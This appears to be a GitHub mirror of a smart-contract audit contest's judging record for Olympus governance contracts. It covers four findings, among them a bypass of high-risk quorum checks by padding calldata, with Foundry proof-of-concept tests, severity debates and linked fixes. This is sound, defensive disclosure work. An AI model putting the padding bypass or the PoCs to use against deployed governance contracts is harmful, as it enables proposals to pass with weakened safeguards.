GithubHelp home page GithubHelp logo

2024-01-olympus-on-chain-governance-judging's Introduction

Issue M-1: Nobody can cast for any proposal

Source: #37

Found by

Bauer, Breeje, alexzoid, blutorque, cawfree, cocacola, emrekocak, fibonacci, hals, nobody2018, pontifex, s1ce

Summary

[castVote](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L369)/[[castVoteWithReason](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L385)](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L385)/[[castVoteBySig](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403)](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403) are used to vote for the specified proposal. These functions internally call [castVoteInternal](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L433-L437) to perform voting logic. However, castVoteInternal can never be executed successfully.

Vulnerability Detail

File: bophades\src\external\governance\GovernorBravoDelegate.sol
433:     function castVoteInternal(
434:         address voter,
435:         uint256 proposalId,
436:         uint8 support
437:     ) internal returns (uint256) {
......
444:         // Get the user's votes at the start of the proposal and at the time of voting. Take the minimum.
445:         uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
446:->       uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
447:         uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;
......
462:     }

The second parameter of gohm.getPriorVotes(voter, block.number) can only a number smaller than block.number. Please see the [code](https://etherscan.io/token/0x0ab87046fBb341D058F17CBC4c1133F25a20a52f#code#L703) deployed by gOHM on the mainnet:

function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
->      require(blockNumber < block.number, "gOHM::getPriorVotes: not yet determined");
......
    }

Therefore, L446 will always revert. Voting will not be possible.

Copy the coded POC below to one project from Foundry and run forge test -vvv to prove this issue.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface CheatCodes {
    function prank(address) external;
    function createSelectFork(string calldata,uint256) external returns(uint256);
}

interface IGOHM {
    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256);
}

contract ContractTest is DSTest{
    address gOHM = 0x0ab87046fBb341D058F17CBC4c1133F25a20a52f;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("https://rpc.ankr.com/eth", 19068280);
    }

    function testRevert() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        IGOHM(gOHM).getPriorVotes(address(0x1111111111), block.number);
    }

    function testOk() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        IGOHM(gOHM).getPriorVotes(address(0x1111111111), block.number - 1);
    }
}
/**output
[PASS] testOk() (gas: 13019)
[FAIL. Reason: revert: gOHM::getPriorVotes: not yet determined] testRevert() (gas: 10536)
Traces:
  [10536] ContractTest::testRevert()
    ├─ [0] VM::prank(0x0000000000000000000000000012399543949349)
    │   └─ ← ()
    ├─ [540] 0x0ab87046fBb341D058F17CBC4c1133F25a20a52f::getPriorVotes(0x0000000000000000000000000000001111111111, 19068280 [1.906e7]) [staticcall]  
    │   └─ ← revert: gOHM::getPriorVotes: not yet determined
    └─ ← revert: gOHM::getPriorVotes: not yet determined

Test result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 1.80s
**/

Impact

Nobody can cast for any proposal. Not being able to vote means the entire governance contract will be useless. Core functionality is broken.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L446

Tool used

Manual Review

Recommendation

File: bophades\src\external\governance\GovernorBravoDelegate.sol
445:         uint256 originalVotes = gohm.getPriorVotes(voter, proposal.startBlock);
446:-        uint256 currentVotes = gohm.getPriorVotes(voter, block.number);
446:+        uint256 currentVotes = gohm.getPriorVotes(voter, block.number - 1);
447:         uint256 votes = currentVotes > originalVotes ? originalVotes : currentVotes;

 

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

haxatron commented:

Medium. It would be caught immediately on deployment and implementation is upgradeable. There can be no loss of funds which is requisite of a high.

IllIllI000

Agree with haxatron that this is Medium, not High, based on Sherlock's rules

nevillehuang

Can agree, since this is purely a DoS, no malicious actions can be performed since no voting can be done anyways.

@Czar102 I am interested in hearing your opinion, but I will set medium for now, because governance protocols fund loss impact is not obvious but I initially rated it high because it quite literally breaks the whole protocol. I believe sherlock needs to cater to different types of protocols and not only associate rules to defi/financial losses (example protocols include: governance, on chain social media protocols etc..)

0xLienid

Fix: https://github.com/OlympusDAO/bophades/pull/293

IllIllI000

The PR follows the suggested recommendation and correctly modifies the only place that solely block.number is used, changing it to block.number - 1. The only place not using this value is the call above it which uses proposal.startBlock. The state() when startBlock is equal to block.number is ProposalState.Pending, so this case will never cause problems, since there are checks of the state. The PR also modifies the mock gOHM contract to mirror the behavior that caused the bug.

s1ce

Escalate

This is a high. Voting is a core part of a governance protocol, and this bricks all voting functionality.

sherlock-admin2

Escalate

This is a high. Voting is a core part of a governance protocol, and this bricks all voting functionality.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xf1b0

Besides the fact that this issue breaks the core logic of the contract, it won't be immediately detected upon deployment, as previously mentioned as the reason for downgrading the severity. The voting process only becomes possible after a proposal has been made and time has elapsed. At this point, the issue will be raised, necessitating the deployment of an update. While the new version is being prepared, the proposal may expire, and a new one will have to be created. If the proposal includes some critical changes, this time delay can pose a serious problem.

IllIllI000

Ignore this part since, while true, it appears to be confusing some: The sponsor mentioned this test file as where to look for how things will be deployed. The first action is to propose and start a vote for assigning the whitelist guardian, and that will flag the issue before anything else.

Furthermore, the timelock needs to pull in order to become and admin with access to the treasury. Until that happens, the existing admin has the power to do anything, so there's no case where something critical can't be done. The 'pull' requirement for transferring the admin to the timelock is a requirement of the code, not of the test. The Sherlock rules also state that opportunity costs (e.g. delays in voting for example, due to a loss of core functionality) do not count as a loss of funds.

r0ck3tzx

The test file within setUp() function configures the environment for testing, not for the actual deployment. The deployment process can and probably will look different, so no assumptions should be made based on the test file. The mention just shows how the whitelistGuardian will be configured, and not at what time/stage it will be done.

The LSW creates hypotheticals about how the deployment process might look, and because of that, the issue would be caught early. Anyone who has ever deployed a protocol knows that the process is complex and often involves use of private mempools. Making assumptions about the deployment without having actual deployment scripts is dangerous and might lead to serious issues.

0xf1b0

Even though some proposals may be initiated at the time of deployment, it will take between 3 to 7 days before the issue becomes apparent, as voting will not be available until then.

nevillehuang

I agree with watsons here, but would have to respect the decision of @Czar102 and his enforcement of sherlock rules. Governance protocols already have nuances of funds loss being not obvious, and the whole protocol revolves around voting as the core mechanism, if you cannot vote, you essentially lose the purpose of the whole governance.

0xf1b0

I've seen a lot of discussion regarding the rule of funds at risk. It seems that they never take into account the lost profits. A scenario where the core functionality of the system is broken could result in a loss of confidence in the protocol, causing users to be hesitant about investing their money due to the fear of such an issue recurring.

Czar102

From my understanding, due to the fact that the timelock needs to pull, the new governance contract needs to call it. And since it's completely broken, it will never pull the admin rights.

Hence, this is not a high severity impact of locking funds and rights in a governance, but a medium severity issue since the contract fails to work. Is it accurate? @IllIllI000

IllIllI000

Yes, that's correct

Czar102

Planning to reject the escalation and leave the issue as is.

0xf1b0

By the way, it will not be possible to update the contract, because a new implementation can only be set through the voting process, which does not work.

That's at least 2 out of 3:

  • it won't be immediately detected upon deployment
  • it's not upgradeable

IllIllI000

it's being deployed fresh for this project, so it'll just be redeployed. The 2/3 stuff I think you're referring to is for new contests

Czar102

Result: Medium Has duplicates

sherlock-admin

Escalations have been resolved successfully!

Escalation status:

Issue M-2: High risk checks can be bypassed with extra calldata padding

Source: #100

Found by

IllIllI, Kow, cawfree, fibonacci, haxatron, r0ck3tz

Summary

Adding extra unused bytes to proposal calldata can trick the _isHighRiskProposal() function

Vulnerability Detail

The length checks on the transaction calldata of what falls into the 'high risk' proposal category is too strict, and incorrectly fails with extra padding. In solidity, any extra bytes of calldata, beyond what is required to satisfy the function arguments, are ignored, and have no effect on the operation of the function being called.

Impact

A proposal that should have been flagged as high risk, is not, and therefore can be passed with the easier, lower, quorum. This violates a critical invariant.

Code Snippet

Checks for calls to the kernel's executeAction() function, expect exactly the right number of bytes to satisfy the function arguments, and no more:

// File: src/external/governance/GovernorBravoDelegate.sol : GovernorBravoDelegate._isHighRiskProposal()   #1

631                    // Check if the action is making a core change to system via the kernel
632                    if (selector == Kernel.executeAction.selector) {
633                        uint8 action;
634                        address actionTarget;
635    
636 @>                     if (bytes(signature).length == 0 && data.length == 0x44) {
637                            assembly {
638                                action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
639                                actionTarget := mload(add(data, 0x44))
640                            }
641 @>                     } else if (data.length == 0x40) {
642                            (action, actionTarget) = abi.decode(data, (uint8, address));
643                        } else {
644                            continue;
645:                       }

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L631-L645

this results in an easier quorum threshold:

// File: src/external/governance/GovernorBravoDelegate.sol : GovernorBravoDelegate.propose()   #2

168                // Identify the quorum level to use
169 @>             if (_isHighRiskProposal(targets, signatures, calldatas)) {
170                    quorumVotes = getHighRiskQuorumVotes();
171                } else {
172 @>                 quorumVotes = getQuorumVotes();
173:               }

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L168-L173

Tool used

Manual Review

Recommendation

Change length checks to be >=, rather than strict equality, since the function signature already specifies the number of arguments

PoC

The following test shows that extending the calldata by an empty byte still triggers a valid call to executeAction(), but is categorized as lower severity:

diff --git a/bophades/src/test/external/GovernorBravoDelegate.t.sol b/bophades/src/test/external/GovernorBravoDelegate.t.sol
index 778163c..bdb6ae2 100644
--- a/bophades/src/test/external/GovernorBravoDelegate.t.sol
+++ b/bophades/src/test/external/GovernorBravoDelegate.t.sol
@@ -386,6 +386,10 @@ contract GovernorBravoDelegateTest is Test {
         assertEq(quorum, 200_000e18);
     }
 
+    function executeAction(Actions action_, address target_) external {
+        console2.log("executed with extra calldata");
+    }
+
     function testCorrectness_proposeCapturesCorrectQuorum_highRisk() public {
         // Activate TRSRY
         vm.prank(address(timelock));
@@ -404,9 +408,12 @@ contract GovernorBravoDelegateTest is Test {
         calldatas[0] = abi.encodeWithSelector(
             kernel.executeAction.selector,
             Actions.ActivatePolicy,
-            address(custodian)
+            address(custodian),
+            ""
         );
 
+        address(this).call(calldatas[0]);
+
         vm.prank(alice);
         bytes memory data = address(governorBravoDelegator).functionCall(
             abi.encodeWithSignature(

Output:

% forge test --match-test testCorrectness_proposeCapturesCorrectQuorum_highRisk -vv
...
[FAIL. Reason: assertion failed] testCorrectness_proposeCapturesCorrectQuorum_highRisk() (gas: 568208)
Logs:
  executed with extra calldata
  Error: a == b not satisfied [uint]
    Expected: 300000000000000000000000
      Actual: 200000000000000000000000

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 14.92ms
...

Discussion

0xLienid

Valid, will fix by reverting if the calldata doesn't match the right size since we know what the size must be for an executeAction call

0xLienid

Fix: https://github.com/OlympusDAO/bophades/pull/299

IllIllI000

The PR introduces a new revert error, and reverts if the length is longer than expected, rather than allowing the code to continue if the calldata is longer than expected. Since the selector ensures that the right number of arguments is passed, there is no error in restricting possible future uses of extra calldata. The PR also adds a test.

Issue M-3: Post-proposal vote quorum/threshold checks use a stale total supply value

Source: #102

Found by

IllIllI, hals

Summary

The pessimistic vote casting approach stores its cutoffs based on the total supply during proposal creation, rather than looking up the current value for each check.

Vulnerability Detail

gOHM token holders can delegate their voting rights either to themselves or to an address of their choice. Due to the elasticity in the gOHM supply, and unlike the original implementation of Governor Bravo, the Olympus governance system relies on dynamic thresholds based on the total gOHM supply. This mechanism sets specific thresholds for each proposal, based on the current supply at that time, ensuring that the requirements (in absolute gOHM terms) for proposing and executing proposals scale with the token supply. https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/tree/main/bophades/audit/2024-01_governance#olympus-governor-bravo-implementation

The above means that over time, due to dynamic minting and burning, the total supply will be different at different times, whereas the thresholds/quorums checked against are solely the ones set during proposal creation.

Impact

DoS of the voting system, preventing proposals from ever passing, under certain circumstances

Consider the case of a bug where there is some sort of runaway death spiral bug or attack in the dymamic burning of gOHM (e.g. opposite of Terra/Luna), and the only fix is to pass a proposal to disable the module(s) causing a problem where everyone is periodically having their tokens burn()-from-ed. At proposal creation there are sufficient votes to pass the threshold, but after the minimum 3-day waiting period, the total supply has been halved, and the original proposer no longer has a sufficient quorum to execute the proposal (or some malicious user decides to cancel it, and there is no user for which isWhitelisted() returns true). No proposal can fix the issue, since no proposal will have enough votes to pass, by the time it's time to vote. Finally, once the total supply reaches low wei amounts, the treasury can be stolen by any remaining holders, due to loss of precision:

  • getProposalThresholdVotes(): min threshold is 1_000, so if supply is <100, don't need any votes to pass anything
  • getQuorumVotes(): quorum percent is hard-coded to 20_000 (20%), so if supply drops below 5, quorum is zero
  • getHighRiskQuorumVotes(): high percent is hard-coded to 30_000 (30%), so if supply drops below 4, quorum is zero for high risk

Code Snippet

The quorum comes from the total supply...

// File: src/external/governance/GovernorBravoDelegate.sol : GovernorBravoDelegate.getHighRiskQuorumVotes()   #1

698        function getQuorumVotes() public view returns (uint256) {
699            return (gohm.totalSupply() * quorumPct) / 100_000;
700        }
...
706        function getHighRiskQuorumVotes() public view returns (uint256) {
707            return (gohm.totalSupply() * highRiskQuorum) / 100_000;
708:       }

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L696-L708

...and is set during propose(), and checked as-is against the eventual vote:

// File: src/external/governance/GovernorBravoDelegate.sol : GovernorBravoDelegate.getVoteOutcome()   #2

804            } else if (
805                (proposal.forVotes * 100_000) / (proposal.forVotes + proposal.againstVotes) <
806 @>             approvalThresholdPct ||
807 @>             proposal.forVotes < proposal.quorumVotes
808            ) {
809                return false;
810:           }

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L804-L810

Tool used

Manual Review

Recommendation

Always calculate the quorum and thresholds based on the current gohm.totalSupply() as is done in the OZ implementation, and consider making votes based on the fraction of total supply held, rather than a raw amount, since vote tallies are affected too

Discussion

0xLienid

If votes are locked in at a maximum of the value a voter had at the time the proposal started I don't think it makes sense to use the current totalSupply at proposal queueing to determine success/meeting quorum. you want it to be a comparable value to the votes values, hence lock it in at proposal creation

IllIllI000

Since the votes are locked in at the proposal start, then shouldn't the quorum be based on the total supply at that starting block, in order to have a comparable value? Right now the code is consistent with the proposal time only, which may have a vastly different total supply. Shouldn't the code always be consistent with total supply of whichever block is being checked? The votes would still be at the time of the start of voting, but when determining whether a proposal should be queueable/executable/cancelable, if everyone's token counts and the total supply has be halved, there has been no change in who logically would be best positioned to vote, but since the code compares against a stored raw value rather than a ratio, the proposal can fail through no fault of the proposer. They would be able to propose a new vote but be unable to use their old proposal, even though the ownership percentage is the same as before.

nevillehuang

@0xLienid I think @IllIllI000 highlights a valid scenario where this can cause a significant issue, and makes a good point as to why OZ implements quorums and thresholds computation that way.

However, I can also see how this is speculating on emergency situations etc.., but I think in the context of a governance, it is reasonable given it is where sensitive actions are performed. @Czar102 What do you think of this?

0xLienid

I just don't agree that you want the quorum to be subject to deviations in supply during the voting period. It allows user manipulation of the ease/difficulty required to pass a proposal.

shouldn't the quorum be based on the total supply at that starting block, in order to have a comparable value?

yes, but that's impossible with gOHM

Frankly, I feel like if there is a critical bug in the core voting token then it's pretty expected that the governance system is also broken.

The only tenable option I guess is getting rid of the pessimistic voting.

0xLienid

@nevillehuang @IllIllI000 Do you guys have additional thoughts on this? I'm trying to think about how severe it actually is, and if there's any path to fixing it other than using the live total supply which feels more or less similar to using votes not pinned to a block which is bad.

IllIllI000

@0xLienid When you say it's impossible with gOHM, I believe you mean that once the starting block has passed, that there's no way to get the total supply from that prior block. If that's what you meant, in order to get the total supply at the starting block, you could require that the proposal creator actually trigger the start of voting (within some grace period) with another transaction at some point after the projected start block based on the delay, and have that operation update the stored quorums and start block at that point, assuming that the old quorums are still valid. In reality, the proposer controls the block during which the start occurs anyway, since the proposal block is under their control, and the delay is known.

As for the remainder of the issue, I'm not familiar with all that is planned, but I don't think it would have to be a bug in the core voting token itself - it could be a kernel module that has a role that allows it to mint/burn gOHM, given some algorithm with a time delay. Once things are decentralized, it's difficult to be able to predict that that won't happen. You could create a new gOHM that checkpoints the prior total supply, and migrate the old token, but yeah, that would be a big change, and would likely require larger changes than can be done for this contest.

nevillehuang

Actually @IllIllI000 will there even ever be a situation where gOHM would be burned to literal 100, 5 and 4 given gOHM holds 18 decimals? I think on second look this is low severity, given the protocol can easily just implement a sanity check where they block any proposals creation/execution/queue and allow cancellation once totalSupply reaches this extreme small values.

I'm guessing your issue also points to the possible decrease in absolute quorums not just solely small amounts, but I think that example is not realistic and representative enough. Or am I missing a possible scenario where gOHM supply can reach literal small weis of value?

@0xLienid maybe a possible fix would be to make quorum percentages adjustable? This could open to front-running attacks though so I'll have to think through it more.

IllIllI000

@nevillehuang the 100/5/4 scenario is the end point after which everything can get stolen. Prior to that, this bug outlines that they can't stop an ongoing attack because creating a proposal to do so would never pass quorums due to the bug. This bug essentially was an elaboration of the issue described in the duplicate #74, to show that it's an issue with the underlying mechanics, rather than a one-time total supply discrepancy

nevillehuang

@IllIllI000 Yup that is my initial thoughts as well, sorry that I got confused by that scenario. I will likely maintain this issue as medium severity, and facilitate discussions between us and sponsor for a potential fix, since it seems to be non trivial.

0xLienid

Ok @IllIllI000 @nevillehuang just talked with the other devs for a bit and here's what we came up with.

  1. Separate out proposal activation to another function so we can snapshot total supply more accurately
  2. Set a minimum total supply such that proposing/queuing/executing ends up in the hands of an admin (and block the standard behavior for end users) if we fall below that. If you think about a burn bug of this magnitude it's a critical implosion of the protocol and so it makes sense to not rely on full on chain governance

Thoughts?

IllIllI000

By activation, you mean the triggering of the start of voting like I described above, or do you mean something else? The docs mention a veto guardian that will eventually be set to the zero address. If there is a new admin for this case, it won't be able to do the same sort of relinquishment without having the end result of the attack being a locked treasury (assuming there's no governance bypass to access funds some other way). If that's acceptable, I believe your two changes will solve the issue.

0xLienid

Yep, triggering of the start of voting.

0xrusowsky

@IllIllI000 ready for review

RealLTDingZhen

I thought about this issue while the contest was going on and didn't submit it, because I thought it's a design choice——Due to the highly variable totalsupply of gOHM, the proposer may need far more tokens than its initial amount to ensure that the proposal is not canceled, and opponents can use fewer votes to reject the proposal by mint more gOHM. By the way, the solution given by LSR is flawed——Attackers can manipulate totalsupply to cancel the proposer's proposal through flashloan.

IllIllI000

The PR implements part of the discussed changes. There is a new gOHM total supply threshold, under which only emergency votes are allowed. The level is correctly many orders of magnitude above the levels at which quorums have loss of precision. Calls to propose() are prevented when the total supply falls below the cutoff. A new emergencyPropose() is added, which can only be called during emergencies, by the veto guardian. It does not have any threshold requirements, or any limit to the number of outstanding proposals (both good), and does not update latestProposalIds (ok). Besides those differences, the code looks like propose(). For propose() the end block and quorum are no longer initially set, and require the user to call activate() to set them instead. The activate() function requires a non-emergency, pending state, for the start block to have been passed, and to not have been activated before. The proposal can be reentrantly re-activated in the same way #62, but there aren't any negative effects outside of extra events. There is no cut-off of when a proposal can be activated, which may allow proposals to stay dormant for years, until they're finally activated. activate() cannot be called during emergencies, so proposals created before an emergency will expire if things don't get resolved. This also means emergencyPropose() does not require activation or any actual votes - just that delays have been respected (seems to be intended behavior). The execute() function does not require any specific state during emergencies for the veto admin, but timelock.executeTransaction() prevents calling it multiple times. The state() function has a new state for Emergency, which applies to any proposal created by the veto admin via emergencyPropose(). Bug Med: the proposal.proposalThreshold isn't updated during activate(), which can be many years after the initial proposal. Bug Low: extra events if reentrantly called Bug Low: emergency proposals (more than one is allowed) created during one emergency, can be executed during a later emergency

0xLienid

Refix: https://github.com/OlympusDAO/bophades/pull/334

We added a activation grace period (which is checked in the state call) so that proposals cannot sit unactivated for months or years. We believe this sufficiently reduces the proposalThreshold concern. We chose not to update the proposalThreshold at the time of activation with this added check because it feels backwards from a governance perspective to brick someone's proposal after proposing if their balance has not changed.

We also shifted certain components of the proposal struct modification above the _isHighRiskProposalCheck to prevent reentrancy.

IllIllI000

The PR correctly addresses the Medium and one of the Lows from item 7 of 9 of the prior review, while leaving the remaining Low about emergency proposals being able to be used across emergencies. The extra events issue is fixed by moving up the state variable assignments to above the high risk proposal checks. The Medium is addressed by introducing a new state variable to GovernorBravoDelegateStorageV1, rather than to GovernorBravoDelegateStorageV2, for a grace period. There is no setter for the variable, so it must be set during the call to initialize() as the penultimate argument, which is properly done, or by creating a new implementation with a setter function. The initialize() call bounds the value within reasonable limits. The min amount is set to 17280, which is 2.4 days, and the max is set to 50400, which is exactly 7 days. The state() function is properly changed to convert Pending to Expired, after the activation grace period. The code reverts with GovernorBravo_Vote_Closed() when activation is attempted after the grace period. The PR adds tests for the grace period and for the reentrancy issue With the death spiral issue and the activation grace period issue resolved, the issue of the total supply changing has been mitigated to low.

Issue M-4: High-risk actions aren't all covered by the existing checks

Source: #104

Found by

IllIllI, LTDingZhen, cawfree, ck

Summary

Things such as changing the list of high risk operations, or migrating kernels are not counted as high risk, even though they are high-risk

Vulnerability Detail

High risk modules are checked against a mapping, but the changing of values within the mapping is not marked as high risk.

In addition, the MigrateKernel action is not protected, even though it can brick the protocol

Impact

Allows an attacker to brick the protocol with a low threshold, or to remove the high-risk modules from the list of high risk modules, resulting in a lower threshold Violates invariant of high-risk actions needing to be behind a higher quorum

Code Snippet

MigrateKernel isn't considered high-risk, and neither are calls to _setModuleRiskLevel():

// File: src/external/governance/GovernorBravoDelegate.sol : GovernorBravoDelegate._isHighRiskProposal()   #1

647 @>                     // If the action is upgrading a module (1)
648                        if (action == 1) {
649                            // Check if the module has a high risk keycode
650                            if (isKeycodeHighRisk[Module(actionTarget).KEYCODE()]) return true;
651                        }
652 @>                     // If the action is installing (2) or deactivating (3) a policy, pull the list of dependencies
653                        else if (action == 2 || action == 3) {
654                            // Call `configureDependencies` on the policy
655                            Keycode[] memory dependencies = Policy(actionTarget)
656                                .configureDependencies();
657    
658                            // Iterate over dependencies and looks for high risk keycodes
659                            uint256 numDeps = dependencies.length;
660                            for (uint256 j; j < numDeps; j++) {
661                                Keycode dep = dependencies[j];
662                                if (isKeycodeHighRisk[dep]) return true;
663                            }
664:                       }

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L647-L664

Tool used

Manual Review

Recommendation

Add those operations to the high risk category

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

haxatron commented:

Medium. Bypass of a non-critical security feature for MigrateKernel(). I would say setModuleRiskLevel() part doesn't count because it requires 2 proposals to succeed. Nice catch!

0xLienid

Fix: https://github.com/OlympusDAO/bophades/pull/298

IllIllI000

The PR properly adds the operations in the recommendation to the list of what's considered high risk, as well as the recommendations from all of the duplicates. This is done by returning true for anything with a target of the timelock or delegator, or for any kernel migration or executor change. The PR also adds tests.

s1ce

Escalate

This is an informational issue. There are comments in the code which specifically describe the modules that the sponsors consider to be high risk , so would consider this to be a design decision.

For example, the following comments:

// If the action is upgrading a module (1)

// If the action is installing (2) or deactivating (3) a policy, pull the list of dependencies

sherlock-admin2

Escalate

This is an informational issue. There are comments in the code which specifically describe the modules that the sponsors consider to be high risk , so would consider this to be a design decision.

For example, the following comments:

// If the action is upgrading a module (1)

// If the action is installing (2) or deactivating (3) a policy, pull the list of dependencies

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

nevillehuang

@IllIllI000 any comments? I think this is not informational, because sensitive actions like this should consistently have appropriate quorums in place and not break the high risk invariant allowing for execution with lower votes than normal. This cannot be seen as a documentation and design decision error given an explicit fix has been made.

However, considering the veto mechanism, I can see where @s1ce is coming from.

IllIllI000

I think the Sherlock team will need to decide what they want to do for this sort of case, since bricking the protocol is an unambiguously dangerous ability, and the purpose of the feature is to prevent that sort of thing (or else why not just rely on vetos for everything). The readme also says The proposal can be vetoed at any time (before execution) by the veto guardian. Initially, this role will belong to the DAO multisig. However, once the system matures, it could be set to the zero address., so at some point in the future, there will be nobody to veto anything.

0xLienid

Personally think this is a medium. These are definitionally high risk changes.

nevillehuang

I think the Sherlock team will need to decide what they want to do for this sort of case, since bricking the protocol is an unambiguously dangerous ability, and the purpose of the feature is to prevent that sort of thing (or else why not just rely on vetos for everything). The readme also says The proposal can be vetoed at any time (before execution) by the veto guardian. Initially, this role will belong to the DAO multisig. However, once the system matures, it could be set to the zero address., so at some point in the future, there will be nobody to veto anything.

Extremely good point, I think this should remain as medium severity.

Czar102

Agree with @nevillehuang, @0xLienid and @IllIllI000. It seems managing policies is strictly safer than migrating the whole kernel.

Planning to reject the escalation and leave the issue as is.

Czar102

Result: Medium Has duplicates

sherlock-admin

Escalations have been resolved successfully!

Escalation status:

2024-01-olympus-on-chain-governance-judging's People

Contributors

sherlock-admin avatar sherlock-admin2 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

2024-01-olympus-on-chain-governance-judging's Issues

s1l3nt - castVoteBySig allows votes on proposals that are not Active

s1l3nt

high

castVoteBySig allows votes on proposals that are not Active

Summary

castVoteBySig function does not check if the state of the proposal is Active, a voter can vote on proposals that are already Vetoed, Canceled, Defeated and Executed. This vulnerability leads to bad voting calculation of a proposal.

Example:

  • proposal 1 executed with 2 votes in favor and 2 votes against
  • proposal voting period ends
  • Voter B who was away, votes on the proposal in favor
  • Bad voting calculation, now the proposal is 3 votes in favor and 2 against.

Vulnerability Detail

function castVoteBySig(
        uint256 proposalId,
        uint8 support,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        //
       // Missing to verify the state of the proposal, if it is active for voting. Check the recommendation fix below
       // 
        bytes32 domainSeparator = keccak256(
            abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this))
        );
        bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
        address signatory = ecrecover(digest, v, r, s);
        if (signatory == address(0)) revert GovernorBravo_InvalidSignature();
        emit VoteCast(
            signatory,
            proposalId,
            support,
            castVoteInternal(signatory, proposalId, support),
            ""
        );
    }

Impact

Vote on proposals that are not Active, this includes voting on proposals that are Vetoed, Canceled, Defeated and were successfully Executed. This may lead to Bad voting calculation at the end.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L403

Tool used

Manual Review

Recommendation

The castVoteBySig is missing this line in the beginning of its body:

if (state(proposalId) != ProposalState.Active) revert GovernorBravo_Vote_Closed();
function castVoteBySig(
        uint256 proposalId,
        uint8 support,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
       if (state(proposalId) != ProposalState.Active) revert GovernorBravo_Vote_Closed();
      
      bytes32 domainSeparator = keccak256(
            abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainIdInternal(), address(this))
        );
       // ....

Anubis - Inadequate Handling of Transaction Lifecycle

Anubis

medium

Inadequate Handling of Transaction Lifecycle

Summary

The Timelock contract's handling of transaction lifecycle (queuing, execution, and cancellation) lacks mechanisms to ensure the integrity and traceability of transactions through their entire lifecycle, potentially leading to confusion or exploitation.

Vulnerability Detail

The contract provides functions to queue, execute, and cancel transactions. However, there are no mechanisms to track the full lifecycle of a transaction or to prevent the reuse of transaction hashes. This lack of lifecycle management can lead to issues where transactions are executed or canceled without a comprehensive history, potentially leading to disputes or unauthorized actions.

Impact

The absence of a robust transaction lifecycle management system can result in executed or canceled transactions without a complete trace, making it difficult to audit actions or resolve disputes. Additionally, it may allow the reuse of transaction hashes, potentially leading to replay attacks or unauthorized transaction executions.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L119
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L135
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L154

Tool used

Manual Review

Recommendation

Implement a more comprehensive transaction lifecycle management system, ensuring that each transaction is traceable through all stages (queued, executed, canceled). This could include introducing status flags or a transaction history log. Prevent the reuse of transaction hashes to enhance system integrity and prevent potential replay attacks.

Code Snippet for Fix:

enum TransactionStatus { None, Queued, Executed, Canceled }

mapping(bytes32 => TransactionStatus) public transactionStatuses;

function queueTransaction(...) public returns (bytes32) {
    ...
    require(transactionStatuses[txHash] == TransactionStatus.None, "Timelock: Tx already exists");
    transactionStatuses[txHash] = TransactionStatus.Queued;
    ...
}

function cancelTransaction(...) public {
    ...
    require(transactionStatuses[txHash] == TransactionStatus.Queued, "Timelock: Tx not queued");
    transactionStatuses[txHash] = TransactionStatus.Canceled;
    ...
}

function executeTransaction(...) public payable returns (bytes memory) {
    ...
    require(transactionStatuses[txHash] == TransactionStatus.Queued, "Timelock: Tx not queued");
